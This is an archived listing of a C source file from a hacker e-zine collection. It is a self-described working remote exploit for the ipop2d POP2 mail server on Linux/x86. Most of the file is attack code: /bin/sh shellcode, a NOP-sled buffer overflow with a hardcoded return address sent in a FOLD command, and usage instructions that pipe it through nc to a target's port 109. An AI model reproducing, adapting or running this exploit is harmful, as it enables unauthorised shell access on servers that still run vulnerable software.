home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / b4b0 / b4b0-09 / ipop.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-05-27  |  1.1 KB  |  44 lines

  1. /*
  2.  * *working* ipop2d exploit for linux/x86
  3.  * tested on redhat 5.2
  4.  *
  5.  * - rsh <dmk@slack.net>
  6.  */
  7.  
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <unistd.h>
  11.  
  12. char shellcode[] =
  13.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  14.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  15.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  16.  
  17.  
  18. #define RET 0xbffff5a8
  19.  
  20. int main(int argc, char *argv[]) {
  21.     char buf[1099];
  22.     int off=0,b=1024,i,a=0;
  23.     u_long *p;
  24.  
  25.     if(argc<4) {
  26.         fprintf(stderr,"use: (%s <auth> <user> <pw> [offset];cat) | nc"
  27.             " <target> 109\n",argv[0]);
  28.         exit(1);
  29.     }
  30.     if(argv[4])
  31.         off=atoi(argv[4]);
  32.     b-=strlen(argv[1])+strlen(argv[2])+17;
  33.     fprintf(stderr,"{!} buf size\t: %d\n{!} ret addr\t: %#x\n\n",b,RET-off);
  34.     memset(buf,0x90,sizeof(buf));
  35.     for(i=((b+4)-strlen(shellcode));i<(b+4);i++)
  36.         buf[i]=shellcode[a++];
  37.     p=(u_long *)(buf+(b+4));
  38.     *p=(RET-off);
  39.     buf[b+4+4]='\0';
  40.     printf("HELO %s:%s %s\r\n",argv[1],argv[2],argv[3]);
  41.     sleep(10);
  42.     printf("FOLD %s\r\n",buf);
  43. }         
  44.